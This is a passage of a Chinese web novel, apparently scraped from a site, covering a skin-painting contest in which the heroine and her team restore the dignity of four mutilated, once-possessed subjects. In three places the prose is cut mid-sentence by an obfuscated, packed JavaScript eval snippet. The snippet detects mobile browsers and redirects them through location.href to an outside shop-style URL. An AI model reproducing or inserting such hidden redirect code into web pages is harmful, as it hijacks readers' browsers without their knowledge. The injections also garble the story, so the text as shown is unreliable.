看来这俩妖怪都遇到同样倒霉的事了。 “怎么了吗?” 眼见百灵大开大合的脸色转变,宋清河愈发困惑。 “没事,我就是突然想起了,小骨和我说过她曾经有个走失的弟弟,这个弟弟毁容了,我想八成就是卫影。” 不是百灵好心要替小骨隐藏真相,而是比起坦白,解释他们妖怪的身份还有他们之间的交易要复杂得多。 “那他们为什么不承认呢?”宋清河耸肩以示不解。 “小骨性情乖戾,我想她是不想说出来麻烦我。至于卫影,也许怕你不接纳这个莫名冒出来的姐姐,所以选择沉默。” 宋清河似懂非懂点点头,试图按照百灵的思路去想。 “我知道了,卫影肯定是怕我知道了要赶走他这个姐姐,也可能牵连到他身上,把他也赶走,所以他害怕就瞒着我。” 宋清河对自己的为人有着清晰的认知,当初收留卫影完全是看他能干又听话,万一哪天他不听话或是出现了更懂事的人,很有可能把他无情踹走。 “嗯嗯,就是这样。”百灵故意附和。 “既然他们不愿说,我想我们也不要捅破这层窗户纸,就假装不知道好了,你觉得如何?” 百灵接着引导宋清河。 “嗯嗯,可以。” 宋清河自然应允,她一开始顶多好奇卫影和小骨的关系,并没有多管他人闲事的心思。 而且现下卫影好用的很,她也不想因为什么姐姐妹妹的影响到他们之间的主仆关系。 14. 第十四章 学徒组的画皮初试地点在一处名为无忧阁的地方。 想都不用想,又是叶知舟的地盘。 只是这无忧阁和芜月楼虽名字相似,但两者却天差地别。 芜月楼占据着天时地利天和,生意如日中天,而无忧阁是叶知舟这几年新收的地,才建成不久的阁楼。 他不愧是精明算计的商人,大概是想借着比试的苗头给自己的阁楼增添些人气。 无忧阁不同于地处闹市的芜月楼,虽同在幽都,但这明显清净了许多,不是那种大自然的寂静,而是被人为修饰过得,梅兰竹菊,有序排列着,甚是清幽雅致。 从踏进无忧阁的那一刻,百灵好似明白了为何此处名唤无忧阁。 先不说阁内极为适目的陈设花草,她甫一进门,就闻到一股若有若无的淡淡香气,虽是陌生的气味,但莫名叫人异常舒心。 从装潢上不难看出,无忧阁面向的人群不是她这种人。 不过她的心思也不在于此,全身心想着接下来的比试。 比试正式开始前不久,每个人都需要抽签,以决定他们即将面对的修补对象。 看来起码要给四个人画皮,要在两柱香的时间内完成,实属艰难。 只能祈祷不要抽到损坏太过严重的。 比试只公布了规则,但是没有说评定的标准,只能看负责评判的主司是怎么想的。 模糊的规则越发让百灵意识到像这种关系户比试之间的含水量有多大。 这几日她和宋清河往来很近,试探着打听到她的家世背景很不一般。 她原是负气离家出走,匆忙带上行李和私房钱,都过得如此滋润阔绰,还能顺便收个小弟。 百灵觉得自己捡到大便宜了。 眼看着宋清河神色自如抽完签,她更觉得这把稳了。 比试正式开始,每个团队需在特定位置,采用提供的材料,在两柱香的时间内修补受损的身体。 百灵还琢磨着“特定位置”的含义,上场时才恍然大悟。 他们要在一个戏台子一样的地方两两同时开始进行,然后由主司选出其中获胜一组。 而台下,乌泱泱已经坐满了一大群观众。 还都是些穿金带银的富贵人家。 谁家的少爷小姐比试,拖家带口的来了。 甚至还有专门的画师,时刻准备记录珍惜瞬间。 也是,怎么说以前都是被人伺候,现在好不容易轮到千金之躯伺候别人,不得认真画下留存。 都这样了,宋清河还能忍住不往台下看一眼。 百灵不由得佩服她避嫌的决心。 “诸位贵宾,诸位同道,承蒙各位今日拨冗莅临,共襄盛举!” 锣鼓声响,一位身着华服的司仪立于台上出声主持比试。 “今日之比试,名曰画皮,考验的是画皮师的眼力、心力。来自四海八荒的画皮师们,将带给在座各位贵客那化腐朽为神奇、真假难辨的巧夺天工之技。” 司仪的声音高昂清晰,充满激情,伴随又一声锣响或鼓点响起,宣告比试正式开始。 百灵怀着忐忑的心情从幕后走向台前。 幕布缓缓揭开,他们需要修补的四位形主也展现出了庐山真面目。 刹那间,原本还带着几分好奇与期待的喧闹大厅,如同被一只无形巨手扼住了喉咙,瞬间陷入一片死寂。 紧接着,是压抑不住的、此起彼伏的倒抽冷气声,如同无数条冰冷的毒蛇在空气中嘶鸣吐信。 台上静静站立的四位等待修复的形主,他们残缺的程度,远超乎所有人的想象。 已非寻常的刀伤剑创,而是近乎被命运之神恶意摧残的躯体,赤裸裸地展示着生命的脆弱与残酷。 第一位形主:曾应是个倾国倾城的女子,柳眉杏眼,琼鼻朱唇,夹面桃腮。然而,一道狰狞的巨大裂口自她左肩斜劈至右下腹,仿佛被巨兽的利爪狠狠剖开,伤口并未完全愈合,边缘翻卷着暗红的皮肉,隐约可见其下森白的肋骨。 极致反差之下,她美丽的脸上毫无血色,眼神空洞,仿佛灵魂已从这破碎的躯壳中流走大半。 第二位形主:一个魁梧的汉子,但右臂连同肩膀竟齐根消失。断口处并非平滑,而是呈现出一种被暴力撕扯、扭曲烧焦的恐怖痕迹,黑红交错的肌肉组织裸露在外,好不渗人。 第三位、第四位的惨状更胜,其中一个整个后背连同臀部的大片皮肤都没了,剩下的那位大半张脸都扭曲成一团,五官被挤压扭曲不成人形。 随便挑出其中一位,都是需要花上几天几夜的功夫来修补,两柱香的时间连一个人都够呛。 “嘶——!” “天啊……这,这怎么补?” “完了啊,这组人真是倒了血霉。” 台下的议论声再也压制不住,从最初的震惊死寂,迅速转化为一片压抑的哗然。 许多还未上场的参赛者脸色瞬间变得惨白,眼神中充满了动摇和退缩。 握着衣角的手指关节都因用力而泛白,手心却是一片冰凉的冷汗。 百灵看着台上那四个宛如从地狱爬出来的身影,只觉得眼前阵阵发黑。 意想不到的天崩开局,但百灵比起自己预料中更为冷静。 因为她知道这一切的缘由不是因为他们倒霉,是人为有意为之。 叶知舟,当真是个笑面虎。 可百灵偏偏就是个愈挫愈勇的人,越清楚叶知舟想让她难堪,越想和他作对到底。 “诸位画皮师,此即本次画皮之考题,四位形主,身负厄运,修补其形,亦是重铸其生!现在焚香,计时开始!” 香炉被郑重点燃,一缕青烟袅袅升起,为这残酷的舞台更添几分肃杀与绝望。 “这怎么搞啊?” 第一个出声的是卫影,他虽是外行,但察觉其余人的反应,也明白这是地狱级难度的比试。 宋清河也六神无主,和同样迷惘的周延玉一起,一左一右看向中间始终岿然不动的百灵。 “别急,先看看。” 百灵给了余三人一个安抚的眼神,随即上前察看四位形主的具体伤口细节。 宋清河也跟着一齐跟进,留下对画皮一窍不通的卫影和周延玉二人。 他们俩之间已经能保持恰当且合适的表面关系。 以学徒的身份见到周延玉时,卫影万分震惊,没想到这两个小骨真的是同一人。 碍于君上的权威,他对百灵的说辞装作全然不知,周延玉也默契没问起。 二人在确定这次的合作纯属巧合后,便决定将计就计演下去,这层关系对他们来说有益无害,他们之间的沟通也会更加顺利。 仔细察看一圈后,宋清河只能无奈着摇头叹气。 她的实践经验本就少,哪里见过这种受损这般严重的身体,能鼓起勇气观察已经很了不起了。 百灵显然胆子大很多,她在每位形主前都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16719264|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俯下身子,直直凝视他们的双眼。 所有形主的眼神都如出一辙,那不是伤痛带来的麻木,而是灵魂被抽离后的绝对虚空,与当年的王二铁一模一样。 脑中灵光乍现,她忽而侧头焦急道:“小骨,你过来一下。” 周延玉听话走至她身侧。 百灵示意他俯下身子,然后附耳低语道:“我怀疑这几位形主都曾经被妖怪夺舍附身过,你帮我再看看。” “......” 周延玉身形一僵,缓缓撤走和百灵对上的目光,不置可否。 她竟然看出来了。 妖怪之间的感应是很灵敏的,更别说周延玉这种妖王级别的,只要低于他妖力之下的妖怪都能被他监测到。 一脚才踏进无忧阁时,他就意识到不对劲。 这里没有妖,但有和残留的妖气。 那四位形主露面时,这种感觉更加强烈,连卫影都发现了。 百灵比他想象中更敏锐,可惜这样聪明的脑子被困在了鬼的脆弱躯壳中。 周延玉没有及时表态,百灵也似乎明白什么。 他早就知道了。 可连做戏都不愿配合她。 小骨的防备心比她预想中更重。 “我没有要责怪你们妖怪的意思,我只是想搞清楚真相。”百灵再次出声,语气中带了几分恳切,“我要赢下这场比试,求你了。” “就当为了你自己未来的身体,帮帮我吧。” 百灵不得已又把妖骨拿出来当鸡毛令牌。 “你想我怎么做?” 周延玉其实没打算拒绝她,他也好奇真相。 只不过想故意拖延,听百灵低声下气求求他而已。 “比试的规则是修补其形,重铸其生,我们是绝对没办法在两柱香内把这四位的身体补全的,所以我想把重点放在重铸其生上。” “重铸其生?”周延玉思维凝滞,大脑一片空白。 “是的。”百灵视线坚定,解释道,“我之前和王二铁见面时,他曾经是清醒过的,他喊出了我的名字,我想有没有什么法子让他们也清醒过来,哪怕是短暂的清醒也好。” “我没猜错的话,他们的身上应该没有附身的妖怪了,背后之人不会冒着这么大的风险让被附身的鬼出现在这种场合的,所以他们也许还有救,和王二铁不一样。” 周延玉的默然再次证实了她的猜想。 “一个妖怪附身在鬼身上需要付出很大的代价,所以他们往往很谨慎,不会轻易更换宿主。这些鬼身上的妖虽不在了,但随时有卷土重来的可能。” 周延玉耐心为百灵讲解。 “妖族附身后会在宿主魂魄深处留下印记,如同野兽用气味标记领地。这些印记通常隐藏在关节、眉心或心脉等处,寻常手段难以察觉。” 他隐隐觉得百灵将会是一个比卫影更为靠谱的队友。 如果她也是妖就好了,那他们就是同类。 而不是敌对的关系。 “那你能找到这些标记之处,我来把这些地方除掉吗?”百灵当即想出应对之策。 “没了标记,他们是不是会重新恢复神智?” 周延玉轻轻摇头,“有这个可能,但不能确定。” “一点点可能也要试试,没有别的办法了。” 百灵当机立断,决定就按这个策略行动。 卫影配合周延玉做标记,她和宋清河则负责清除。 15. 第十五章 时间紧迫,她只和宋清河说自己心中有数,照她说的做就是。 百灵的沉稳让宋清河下意识依靠信服,老实听话配合她。 四人有条不紊搭配干活,台下的看客却一头雾水,因为他们四人做的工作不是修补,而是雪上加霜的损坏这四具早就难以入目的身体。 “他们是疯了吗?” “这是画皮大赛吗,我不是走错场子了吧......” “这是哪家的小姐少爷上台丢人来了。” 舆论的态度总是瞬息万变,原本还在同情第一组可怜遭遇的人,转眼纷纷嘲讽起台上人的奇异举动。 混入人群的叶知舟如隔岸观火,默默将百灵一行人的举动收入眼底。 不过他此时的注意点却不在百灵身上。 他视线准随着周延玉而动,紧抿的唇线逐渐放松,露出一抹意味深长的笑容。 “主子,有你的口信。” 一小厮钻入人群,在叶知舟身侧低语。 叶知舟侧头示意他继续。 “是宋家的人。” 叶知舟又将目光转意至宋清河方向。 很有意思的大小姐,唯一一个来参加比赛有靠山却没有助益的关系户。 他原想接着此次机会和宋家搞好关系,只是没成想宋小姐是不告而别,离家出走。 “宋家来传话说,务必别让小姐赢下比赛。” “呵。”叶知舟冷哼一声,这宋家仗着自己在幽都垄断了婚嫁行业,还真是傲慢。 竟然觉得他叶知舟会为了巴结没有任何承诺和约定的利益,暗地里让宋小姐走后门吗? “他们还说,若是主子能想办法让宋小姐心甘情愿回家,定要当面致谢。” “知道了,退下吧。” 而此刻台上的宋清河,对于家人的暗箱操作,一无所知。 一炷香的时间过去,她也无暇顾及其他。 站在第一位形主面前,她迟迟下不去手。 因为标记的地点是她的左眼,那样好看一双眼睛。 原本她以为只是要将这些人身上影响画皮的烂肉先清理掉,可这只眼睛分明没有任何问题,她不解也实在下不去手。 “宋小姐?”百灵早早完成自己的部分,敏锐注意到宋清河这边的情况。 “我来吧。”百灵以为宋清河胆子小不敢下手,当即侧身向前想自己动手。 “别动。”宋清河出声制止,神情严肃,“她这只眼睛完好无损,为何要剔除?我们是画皮师,是修补不足,不是创造不足的。” “那是因为......”百灵束手无策,不知该作何解释。 “因为他们都失了神智。”周延玉倒不忌讳,主动上前替百灵作答,“就是你现在放一面镜子在他们眼前,他们也不会对自己的残缺身体有丝毫动摇,至于你想保留的眼睛,里面也早就失了光彩。” 言外之意,这眼睛留与不留,没有多大的意义。 “就算如此,我们也没有权利决定这只眼睛的去留,毕竟这是她身上为数不多还保有体面的证明,就不能换个地方吗?” 周延玉的解释并没有说中要害,宋清河始终不解。 时间紧迫,百灵越过周延玉,将宋清河拉至一边。 “宋小姐,我们所要做的,就是帮助这几位形主恢复神智,至于各中缘由,太过复杂。不过我向你保证,这场比试结束后一定和你解释清楚。” 百灵一只手攀上宋清河的手臂,虽极力压低声响,但语气始终坚定,言之凿凿。 时间一分一秒的过去,百灵在说完这一段话后,始终保持沉默,紧紧盯着宋清河。 后者终于败下阵来,背过身去默许了百灵的决定。 百灵深深吸了一口气,迅速调整好状态,挑了一把趁手的小刀,准备清理掉最后一处标记。 这几位早就失去了意识,现在就同躯壳一般,因此不会有痛觉,百灵也可放心下手。 随着她手起刀落,原本对称无比的双眼,如今只剩下了一只孤零零的眼睛,还有深不见底的黑洞。 台下的讨论也因为她最后这一举动推向了高潮。 “一组退赛!他们这是在虐待形主!” “下台下台,这样的人怎么能当画皮师?” “这组人是来捣乱的吗?人好端端一只眼睛凭什么切掉?” “下台下台!退赛退赛!” “……” 人群中的骚乱愈演愈烈。 叶知舟早就退出了这群激愤的队伍,暗中命人出面维持秩序。 不多时,一群身宽体胖的护卫队从两边上前,刚好隔住了台前台后,以防有人过激上台。 见这架势,台底下叫嚷的声音明显减弱,但依旧细细碎碎夹杂着抱怨和不满声。 无论台底下的人如何嘲讽,台上的四位却始终岿然不动。 宋清河还是保持着背过身去回避的状态,她的学徒卫影和她截然相反,他站在台子的边缘,挺直脊背,本能驱使他警惕凝视下面人的一举一动。 周延玉则并肩站在百灵身边。 从底下喧哗声想起来的第一刻,但被迫逐渐安静下来,百灵的心绪也经历了七上八下的过山车般的起伏。 但这并不是因为这些无关的看客,她向来不在乎外界的声音。 她来回在这四人之间走动,企图发现一丝微不可察的变化。 可终究事与愿违。 这四位形主除了身体变得更加残缺之外,没有任何清醒的迹象。 怎么会这样? 百灵扭头看向周延玉,同样困惑的视线交织在一起,她刚张开的嘴,戛然止住。 她相信周延玉,因为他没有任何理由在这种节骨眼上面整她,而且很明显,他也同样迷茫。 难道是自己的手艺出了问题,这不可能,每一处她都做了仔仔细细的检查,周延玉的标记圈都很精细,范围很小。 保险起见,她还特地超过了一点范围,做到彻底的清除。 “还剩一炷香的时间——” 司仪大声提醒道,尖锐的嗓音刺破了四人默契的不语。 第一个行动起来的是宋清河。 她第一个上前查看的就是那位美丽的独眼女子。 没了一只眼睛的她,苍白的脸上写满了悲剧的痕迹,还有一丝顾影自怜的惆怅。 黑漆漆的眼眶骨,如同深渊一般,似乎是要把眼前的宋清河吸进去。 愧疚之情涌上心头,她并没有埋怨百灵,因为她其实可以固执挡在她的身前,可她最后还是选择了退让。 这种难以自抑的情感笼罩着她,驱使她必须行动起来做些什么。 她取下自己首饰上的一颗洁白珍珠,又拿出一小盒特制的鱼胶,小心翼翼地将珍珠固定在空洞的眼窝中。 随后,她用黑色颜料画出了瞳孔,最后点缀上白色高光。 许是因为珍珠的质地莹润,这只人为制造的假眼睛竟比另外一只真眼睛显得更加有神采。 宋清河情不自禁伸手扶上她的脸,用一种释怀的语气道,“这颗珍珠的光华世间独一无二,现在,它找到了最好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16719265|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的归宿。” “她的眼睛……” 一直在旁边默默注视的百灵忽然出声。 “你们看她的眼睛。” 另外三人顺着百灵的话齐齐围了上来。 那女子仅剩地一只眼中,由空洞慢慢变得聚焦,停留在宋清河的脸上。 百灵大受鼓舞,他们的思路没有错,这些人其实早就醒了,所以没有任何迹象,是因为他们不愿意醒。 就像沉睡多年的某人,突然醒来发现自己身处地狱,宁愿不相信这个事实,所以选择继续装睡。 不是所有人都像王二铁一样,一直坚持和妖怪抗争,直到生命最后一刻。 想是想明白了,可又现在又多了个新的难题。 不是所有人都能如法炮制,用宋清河悲悯的方式唤醒的。 很明显,这位女子先前一定是为非常爱美之人,所以才会因为宋清河这样一句话而动容。 那其他人呢? 他们想要什么?他们又在乎什么? 没有人知道,大家只当他们是任人摆布的躯壳,即使先前有打抱不平的人,也不是因为百灵的举动破坏了他们心目中想象的美。 周延玉的心也明了又暗,他和百灵意识到了同样的问题。 “百……”他想和百灵探讨一下,才一张口,就被百灵示意不要说话。 周延玉瞬间会意,他明白百灵正在思考。 百灵做了一个出人意料的举动,她慢慢退后,直到台上的边缘,退无可退。 视野随之扩大,在百灵的眼中,面对面的是四具视觉冲击力极大的残缺身体。 她又对上第一人的视线,那目光里充满哀愁,还有下意识的回避。 “还剩半柱香的时间——” “这人是在做法吗?怎么还不动?” “我看呐,是早就被吓傻啦!” 百灵对此充耳不闻。 她聚精会神打量每一位形主。 “百姑娘,你来了。” 她又想起了王二铁,和他们有着同样境遇的王二铁。 当时他明明有片刻的清醒,可随后又被妖怪占据了身体,为什么? 那时他挣扎着说要“杀了你”,是真的要杀死自己吗? 那时百灵直觉以为是附身在王二铁身上的妖怪要杀死自己,可那妖怪为何不慢慢引诱她,然后趁其不备偷袭,反而愚蠢说出自己的想法,鲁莽横冲。 那不是妖怪,是王二铁自己,他想杀死妖怪。 跌倒在地,骨头碎裂的声音,也是他想和妖怪同归于尽。 可最后还是被妖怪占据了身体。 一个恐怖的念头爬上她的脑中。 压死王二铁的最后一根稻草,或许是她。 如果妖怪想要好操纵的新身体,完全可以先从王婶下手,然后寻找合适的宿主。 可偏偏遇上她那天,妖怪彻底失控了,王二铁也放弃了抵抗。 事情的关键节点就在于她。 她对于王二铁人不人鬼不鬼的样子,下意识表现出了恐惧,厌恶的行为。 王二铁或许想过要活下去,但是体面的活下去,而不是被当成一个怪物。 是因为这样……最后才放弃的吗? 再次抬眸对上四位形主,百灵心中有了答案。 从始至终她都搞错了一个点,因为她一直执着于如何修复到完美状态,而忘记了更重要的是如何修复好他们失去的尊严和灵魂。 百灵目光中的迷茫如潮水般退去,取而代之的是一种沉静而坚定的光芒。 16. 第十六章 她沉默抬起头,眼神示意剩下的三人。 “场上有四位形主,只有一位成功被宋小姐唤醒了,还剩三位,我需要你们的帮助。” “要我们怎么做?”卫影第一个附和道。 “看。”百灵言简意赅,“看他们想要什么,看我们怎么做才能触动到他们。” 卫影还在如果是怎么个看法,周延玉已经先他一步行动了。 “时间不多了,边看边想吧,能做到哪是哪,别纠结了。” 卫影知道周延玉在点他,当即开始行动起来,仔细观察余下三人。 “这个人交给我。” 周延玉很快锁定了坐在第二位的独臂男子。 他发现此人虎口、掌心靠近拇指的地方有厚茧,很有可能是个习武之人。 习武之人断臂,不亚于猛兽失去獠牙,是莫大的痛苦和绝望。 周延玉轻轻伸手,碰上他那只仅剩的手臂。 他的状态很脆弱,只需一丁点的妖力,就能让他感觉力量充沛,如获新生。 与此同时,卫影在那位失去大半皮肤的形主面前静立许久。 这是四位形主中年纪最小的一个,不仅个头矮一大截,而且身材瘦削,耷拉着脑袋,骨头的形状随着呼吸起伏,清晰可见。 卫影看着少年起伏的背影,仿佛看到了当年父母离去后,那个蜷缩在角落的自己。 他立刻读懂了对方面对伤痕时,那份渴望被看见却又害怕被注视的绝望。 他曾努力通过伤痕证明自己的价值,那时他多么希望有人能看见那不只是伤口。 卫影没有说话,而是做出了一个让所有人都意想不到的动作。 他绕到少年身后,将自己温热的掌心,直接、轻柔地覆上了少年后背那片最为狰狞、几乎无人敢直视的伤疤之上。 “……”少年形主轻轻一颤,仿佛那块失去知觉的皮肤第一次感受到了外界的温度。 卫影的掌心稳稳地停在那里,如同覆盖着一件易碎的珍宝,他能清晰地感受到手下皮肤的粗糙、凹凸与脆弱。 他微微俯身,用一种近乎笨拙的、只有两人能听见的声音低语: “我小时候,身上也有过无数道伤痕。”他顿了顿,平淡且坚定道,“很丑。但它告诉我,我还活着,我还能被看见。” 没有同情,没有恐惧,只有一种同类之间的确认。 少年始终低垂的脊背,缓缓地、试探性地抬起了微不可察的一寸。 最后一位形主,自然交给了百灵。 她跪坐在那位面目全非的形主面前,并未立即动手。 她凝视着那些纵横交错的的伤痕,想起王二铁那张笑到同样扭曲的脸。 眼前这个人,是否也和王二铁一样,为了从妖怪的掌控中挣脱,为了守住最后的自我,才亲手将自己伤至如此? “小骨,你来一下。”百灵转头轻身呼唤周延玉。 “你看这张脸,是不是妖怪所为?” 周延玉仔细端详,得出了结论,“我看不像,而且若我想要一具身体,绝对不会破坏身体的脸。” 那就是说,是他自己所为,又或者是天生如此。 百灵双手抚上他的脸,专注摸过每一处皮肤。 此人鼻骨断裂,下颌紊乱错位导致脸歪嘴斜,眼球凹陷且额头前突,眉骨高耸。 整张脸像陷在了一摊泥池中。 留给她的时间不多了。 “宋小姐,你是否会雕刻鼻骨,现在能立刻做出来吗?”百灵投向宋清河的目光急切中带着一丝恳求。 “我尽力。”宋清河点头应下。 有了宋清河的支持,百灵也马不停蹄开始工作。 她费力搬开形主的嘴,欲伸手进去调整。 “冒犯了。” 她一边说一边摸索进他的口腔,按住下颌关节处的位置不断调整。 错位情况过于严重,她只能站起身,把他的脑袋一手固定住,一手托住下颌来回摆动,直到回到应该在的位置。 忙完这些,她又立刻拿起一把趁手的小刀划开他的鼻柱,掀开表面的皮肤,然后仔细清理其中碎掉的骨头。 等宋清河雕刻好鼻骨,她也清理完毕,二人实现完美交接。 放入鼻腔,调整位置,缝合创口,百灵的动作一气呵成。 随着最后一针落下并打结,香炉正好燃尽,百灵也终于赶在最后一刻完成。 “我认识一个人,”百灵开口,声音像清晨的露水一样轻而干净,“他为了不变成自己厌恶的样子,宁可毁掉自己。” 她抬头凝视这张还未彻底完工的脸。 “虽然我不知道你的脸是如何变成这样,但我知道你已经尽力了,同样我也是。所以,这不仅是残缺的脸,更是一张胜利者的脸。” “因为你还是你自己,不是另外一个人。” 说完,百灵欣慰笑了,既是对他,也是对自己。 四位形主静静地立在原地,看似变了,但却又说不上变了什么。 台下一片哗然。 台下第一排负责评判的主司也交头接耳不知再说些什么。 片刻后,其中一名主司向司仪示意,二人匆匆交流几句后,司仪重新上台。 “请一组讲解为形主们如此修复的思路和缘由。” 虽为指定发言人选,但大家早就默认是一直以来主导局面的百灵。 场下的窃窃私语声瞬间平息了,所有目光都聚焦在百灵身上。 百灵上前一步,目光扫过台下,最终落回四位形主身上。 “主司问我们修复的思路,我们的思路,就是看见他们,大家看到的是残缺,但我们一组看到的,是抗争。” 她指向独臂形主:“我们看见了一位武者失去獠牙的痛苦,给予他力量的感受,重铸其脊梁。” 她指向瘦弱少年:“我们看见了伤痕之下,一个渴望被确认的灵魂,给予他同伴的触摸,重铸其尊严。” 她指向独眼女子:“我们看见了她独一无二的价值,给予她稀世明珠,重铸其光华。” 最后,她看向自己修复的形主:“而我看见的,是一位宁为玉碎的胜利者,我修复他的骨骼,只为向世人证明他坚守的自我。因此,我们所修复的,是他们生而为人的尊严。” 百灵这一番解释,巧妙将原本画皮比试的重点从修补的技巧和完整度,引导了对于更深层次的画皮最终目的的探讨。 “这丫头胡扯什么呢,我怎么一句也听不懂?” “是啊,画皮就画皮,这都扯到哪去了?” “可是这小姑娘说的也有点道理,我看这几位形主还怪可怜的,还要当众上台给人展示,这不是二次伤害吗?” “有没有人发现,这几个人的状态比刚上台先好了不少呢!” “小姑娘说话还真能唬人,我看分明就是技不如人,这算哪门子的画皮师!” 台下观众各持己见,众说纷纭,有支持的声音,也有反对的声音。 评判的主司需要在下一组人结束后才公布第一组的分数,因而百灵一行人只能在退场后默默等待。 “我们这样能行吗?” 等候室内,卫影第一个出声,打破了沉闷的氛围。 他方才切实共情了少年形主,所以当然希望能赢,也希望能通过这种合作关系,继续保持和周延玉的沟通交流。 如果比赛输了,就意味他们两组人要分道扬镳。 “那得看有人想不想让我们赢。” 一旁的周延玉模棱两可回应道。 他说话时还特意看向百灵和宋清河的方向。 虽然是个外行,但他也从这第一场比赛的诡异之中看出了端倪,很明显,他们这一组被人针对了。 针对他们的人故意使绊子,可能是想让他们输,也可能只是在警告什么。 所以是输是赢,全都取决于此人的心情。 他和卫影的身份应该隐藏得不错,所以这背后的人是冲着剩下两位来的。 百灵没有什么背景,所以周延玉暂时将一点放在了宋清河身上。 感受到周延玉来者不善的目光,宋清河内心莫名烦躁心慌。 她深吸一口气,蓦地站起身,拉住百灵的手腕径直向外走去。 “我们出去聊聊。” 百灵知道她迫切想要一个答案,并未抗拒,顺从地跟了出去。这样也好,正好避开周延玉和卫影。 这样也好,可以避开周延玉和卫影。 就在她们关门离去后不久,周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16721135|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 延玉立刻行动起来。他吩咐卫影留守看护自己的身体,静默片刻,灵魂随即脱体而出。 穿过几道回廊,他轻而易举地发现了正在隐秘交谈的宋清河与百灵。 “说吧,到底是怎么回事?”宋清河开门见山。 “我可以告诉你,但在此之前,你必须答应我,接下来你听到的一切,绝不会透露给第三个人。”百灵清楚自己无法回避解释,只能寄望于宋清河值得信任。 “因为这是我对一个非常重要之人的承诺。”她补充道。 拐角处,隐去身形的周延玉闻言心神微震。 他们何时有了这般深厚的关系?他自己竟不知晓? 事实上,百灵并非真认为周延玉有多重要,无非是想借此引起宋清河的重视,让她应诺。 “我答应你,说吧。”宋清河点头应下。 “如你所见,那四个形主之所以神智尽失,是因为他们曾经都被妖怪附身过。” 百灵也不再遮掩,如实坦诚。 “你看到的那只左眼虽然完好无损,但实际上妖怪早就留下了标记,如果不彻底去除,那妖怪随时可以趁虚而入。” “这也解释了为何他们的眼神会产生变化,尤其是第一位形主,我想,她或许是被你的悲悯之心触动,残存的意识作出了回应。” 百灵解释完毕,静待宋清河的追问。然而对方却出乎意料地冷静,沉默了许久,只淡淡说了一句:“原来如此。” 百灵震惊于她的平静,但也不打算深究,毕竟她自己也不想在此事上过多纠缠。 毕竟对于某人来说,她已经背信了。 “对了,那他们两个人又是如何知晓标记所在的?” 理顺了事情的原因,宋清河将话茬转到了周延玉上。 该来的还是来了。 百灵强装镇定,不慌不忙说出早已准备的答案。 “我之前不是和你说她们是失散多年的姐弟,那是因为姐弟二人曾经先后被妖怪附身,为了不连累家人,所以选择出走。” “其实这也是偶然,在上台时,他们发现自己能和这几位形主有奇妙的感应,想必是源于相似的遭遇。” 这是她能想到最好的解释,无论如何,绝不能透露他们本是妖怪的真相。 话音落下,宋清河蹙眉陷入沉思。她想起台上周延玉和卫影的主动,确实可能共感了。 “那他们俩后来是怎么恢复正常的?” 按照百灵所说的逻辑,那岂不是还得有另外的人通过感应去除标记,然后唤醒他们。 百灵并没有准备应对这个提问的说辞。 一方面是她不知道怎么解释,另一方面,她担心把事情越描越黑,日后不慎露出马脚。 “这个我也不清楚,我遇见小骨的时候她就已经恢复正常了。”百灵刻意停顿,继而说道,“我猜测是因为妖怪找到了更合适的宿主,所以主动离开了。” “我明白了。既然如此,他们身上的印记应当也还未除,你就不怕他们有一天再度被控制吗?”宋清河顺着她的思路继续追问。 “我不怕。”百灵语气坚定,“我相信小骨,他是个好人,即便真有那一天,他也绝不会伤害我。” “……” 暗处的周延玉心中又是一震。 若说先前她为他的身份打掩护是出于自保,那此刻这番维护之言,便实在难以用利己来解释。 毕竟她无需做到这个地步。 一会儿是“重要的人”,一会儿又是“好人”。 周延玉暗自决定,姑且以此抵消她先前的不敬之举,给她一次在自己心目中重塑形象的机会。 “看不出来,你和一个学徒关系这般亲近?”宋清河的语调微扬,百灵几乎从中听出一丝若有似无的揶揄。 “主要是我与小骨特别投缘吧。我这个人,很信缘分的。”百灵开始胡言乱语。 如果真的有缘分,那也是孽缘吧。 她迅速向四周瞟了两眼,随即想起小骨的魂体肉眼凡胎大抵是看不见的,只能在心中默默祈愿:小骨啊小骨,你可千万要在场。 否则,这些违心的奉承话可就全白说了。 以那人多疑的性子,十有八九正潜伏附近,若换作是她,也一定会这样做。